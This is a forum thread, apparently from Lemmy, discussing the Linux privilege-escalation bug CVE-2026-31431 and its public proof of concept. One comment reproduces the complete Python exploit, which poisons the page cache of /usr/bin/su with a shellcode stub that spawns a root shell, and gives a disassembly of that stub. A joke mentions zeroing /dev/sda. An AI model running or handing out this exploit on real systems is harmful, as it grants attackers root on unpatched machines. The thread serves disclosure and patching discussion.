Copy Fail (CVE-2026-31431) is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms.

254 points · 37 comments · view on lemmy.world

37 Comments

BlackEco@lemmy.blackeco.com · 94 pts · 120d (8 replies)

The Python script to check if you are vulnerable is extremely suspicious and hard to decipher.

rabber@lemmy.ca · 55 pts · 120d (1 reply)

I agree. This seems fishy to me. I am concerned about compressed code in a public disclosure like this. Also it seems like all the documentation was written by AI.

hendrik@palaver.p3x.de · 51 pts · 120d

The entire page is an advertisement for an AI tool that helped uncover it. Guess that's the demonstration on how it augments a report.

treadful@lemmy.zip · 43 pts · 120d (2 replies)

Very quick cursory review: The python script appears to decompress what might be an ELF from those compressed bytes. Then it opens a cryptography socket (AF_ALG) with the kernel and sends that whole thing.

So the exploit is in the binary data and would likely take some skilled Linux engineers to decompile it and figure out the exploit.

I'm not entirely sure why they would obfuscate it. Maybe they think it helps with responsible disclosure so people can't make something more useful than the PoC?

sun_is_ra@sh.itjust.works · 47 pts · 120d

I can at least tell you what it does because I tested it:

It override your /usr/bin/su so that it now let you run as root with no password.

My guess is that the payload is an su command that was modified to run without requiring password but it's also possible - though unlikely - that it just patch your existing su.

either way if you will run the script, you need to backup your existing su command first.

Correction: The script doesn't permanently modify the su file instead it modifies a cached copy of the file in memory. restarting your device or doing echo 3 > /proc/sys/vm/drop_caches to flush the cache restore the su file to its original state

Aatube@piefed.social · 9 pts · 120d

I'm not sure how much of it is obfuscation and how much of it is golfing. Ze golfed it so ze could make the pretty valid "just 732 bytes python script" claim.

The compression could very well be just a way to write a binary in Python plaintext. ChatGPT claims it just attempts to sudo, run /bin/sh if that succeeds, and exit if that fails.

sun_is_ra@sh.itjust.works · 8 pts · 120d

Here it is after improving readability a little

https://pastebin.com/iW8BRrdX

JustTesting@lemmy.hogru.ch · 3 pts · 118d

Someone over on lobste.rs has deobfuscated it, code can be found here

MonkderVierte@lemmy.zip · 1 pts · 119d

[ removed ]

MoogleMaestro@lemmy.zip · 66 pts · 120d (9 replies)

It's a bit strange that this code requires a binary blob to verify, I think people who want to experiment with this should take some caution as it could be an exploit-in-an-exploit (user is highlighting a real exploit, but also trying to take advantage of people testing by effectively installing a back-door.) I won't say that's happening for sure, but take running this yourself with extreme caution.

AcornTickler@sh.itjust.works · 24 pts · 120d (3 replies)

BLOB already includes "binary". That's what the first B is for.

Sorry, couldn't stop myself.

embed_me@programming.dev · 18 pts · 120d

No one means BLOB when they say blob, it's a backronym mostly for fun

Aatube@piefed.social · 4 pts · 119d

Apparently that's only for blob storage (now "object storage), not https://en.wikipedia.org/wiki/Binary_blob

MoogleMaestro@lemmy.zip · 2 pts · 118d

I had always heard "binary blob" said when it came to opaque code, but I see that blob is what is used to describe unexplained binary data as a whole in database lingo, so I'm willing to say your usage of it is probably more correct than mine here, assuming the binary data isn't an actual program (afaik there's no elf-file like characteristics but who knows.). 😇

Aatube@piefed.social · 5 pts · 120d (3 replies)

The compressed binary blob is just a 160 B ELF when uncompressed. I don't think you can do much with that.

atzanteol@sh.itjust.works · 10 pts · 120d (1 reply)

You could probably write all zeros to a file. Say, /dev/sda?

flyingSock@feddit.org · 6 pts · 120d

???

profit

quick_snail@feddit.nl · 8 pts · 119d

I bet you could gain root on many old kernels

JustTesting@lemmy.hogru.ch · 2 pts · 118d

You can find a cleaned up version here

pseud@lemmy.zip · 44 pts · 120d

Script:

#!/usr/bin/env python3

import os, socket

f = os.open("/usr/bin/su", 0)

e = b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00'

for i in range(0, len(e), 4):
    s = socket.socket(38, 5, 0)
    s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    s.setsockopt(279, 1, bytes.fromhex('0800010000000010' + '0' * 64))
    s.setsockopt(279, 5, None, 4)
    u, _ = s.accept()
    u.sendmsg([b"AAAA" + e[i:i + 4]],
              [(279, 3, b'\x00\x00\x00\x00'),
               (279, 2, b'\x10' + b'\x00' * 19),
               (279, 4, b'\x08\x00\x00\x00'), ],
              32768)
    r, w = os.pipe()
    os.splice(f, w, i + 4, offset_src=0)
    os.splice(r, u.fileno(), i + 4)
    try:
        u.recv(8 + i)
    except: pass

os.system("su")

Blob:

0x00400078      eax = 0
0x0040007a      edi = 0
0x0040007c      al = 0x69                 ; 'i' ; 105
0x0040007e      syscall                   ; sys_setuid(0)
0x00400080      rdi = rip + 0xf           ; data.00400096
                                          ; 0x400096 ; "/bin/sh"
0x00400087      esi = 0
0x00400089      push 0x3b                 ; ';' ; 59
0x0040008b      pop rax
0x0040008c      cdq
0x0040008d      syscall                   ; sys_execve("/bin/sh", NULL, NULL)
0x0040008f      edi = 0
0x00400091      push 0x3c                 ; '<' ; 60
0x00400093      pop rax
0x00400094      syscall                   ; sys_exit(0)

The blob is obviously a stub-su that /usr/bin/su page cache is poisoned with.

eager_eagle@lemmy.world · 41 pts · 120d (10 replies)

wtf

An unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.

If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you're in scope.

how does that only get a CVE score of 7.8, the impact of this is huge

Bitflip@lemmy.ml · 77 pts · 120d (8 replies)

Probably because the attack vector is having a user account on the target

nyan@sh.itjust.works · 34 pts · 120d (5 replies)

Exactly. It's Yet Another Privilege Escalation Vulnerability. Unless you're dealing with a multiuser machine, the attacker first needs to use some other vuln to get into an unprivileged account. Without that additional vulnerability, this exploit is useless.

solrize@lemmy.ml · 20 pts · 120d (1 reply)

some other vuln

You mean like inveigling it into a pypi or npm or whatever package? Checks out.

Aatube@piefed.social · 16 pts · 120d

That's privilege escalation for you. 7.8 is pretty high.

tomalley8342@lemmy.world · 5 pts · 120d (2 replies)

Yet another? Are there really so many LPEVs in linux?

olosta@lemmy.world · 9 pts · 119d

I manage multi user systems and try to be on top of this and no, privilege escalation with a working public exploit are very rare. There's quite a lot of CVEs with potential privilege excalation, but most of the time there is no real world exploit. And a large part of those are related to user namespaces in one way or another.

This one is truly scary, at least the immediate mitigation is pretty straightforward.

nyan@sh.itjust.works · 6 pts · 120d

Well, it often feels like every "Linux security issue" flagged in the tech press is a privilege escalation, but I admit that I haven't sat down and done the math.

Technus@lemmy.zip · 12 pts · 120d (1 reply)

"The exploit is coming from inside the house!"

sakuraba@lemmy.ml · 5 pts · 120d

hey these exploits keep the lights on for some tech youtubers, stop making fun of it!! it is very dangerous!!!

(video titled: LINUX HAS BEEN HACKED, AGAIN?!)

KairuByte@lemmy.dbzer0.com · 22 pts · 120d

It’s not an interaction-less RCE, for one.

Sims@lemmy.ml · 22 pts · 120d (4 replies)

Hm, I could use that on a few Android devices..

sun_is_ra@sh.itjust.works · 14 pts · 120d (2 replies)

there is no su binary in most android devices sadly

BradleyUffner@lemmy.world · 7 pts · 119d (1 reply)

Does it have to actually be su? Couldn't this replace any other existing privileged program with the fake su in theory?

sun_is_ra@sh.itjust.works · 10 pts · 119d

In order to use this exploit you need a program that has UID bit set and the file owned by the user you want to use itheir privilages.

For example su (among other commands) has that UID bit set and because the owner of the file is root then when you execute it, it always runs with root privileges

Most Android devices use SELinux (Security Enhanced Linux) which is configured in such way that you couldn't have root access even if you could run a program owned by root and has the UID bit set.

What you could do - in theory - is finding a process already running with root privileges and happened to be executing certain command periodically. you could then override that certain program in cache using this exploit to do what you want.

klankin@piefed.ca · 4 pts · 119d

SElinux blocks this for aosp and its forks.

timroerstroem@feddit.dk · 16 pts · 119d (1 reply)

Worth mentioning that the fix was merged into 6.19.12 (and 7.0; probably also the LTSs, but I didn't bother to check those).

lengau@midwest.social · 5 pts · 118d

The other LTS kernels didn't get it until yesterday, and this thread has some good info about why: https://infosec.exchange/@wdormann/116489443704631952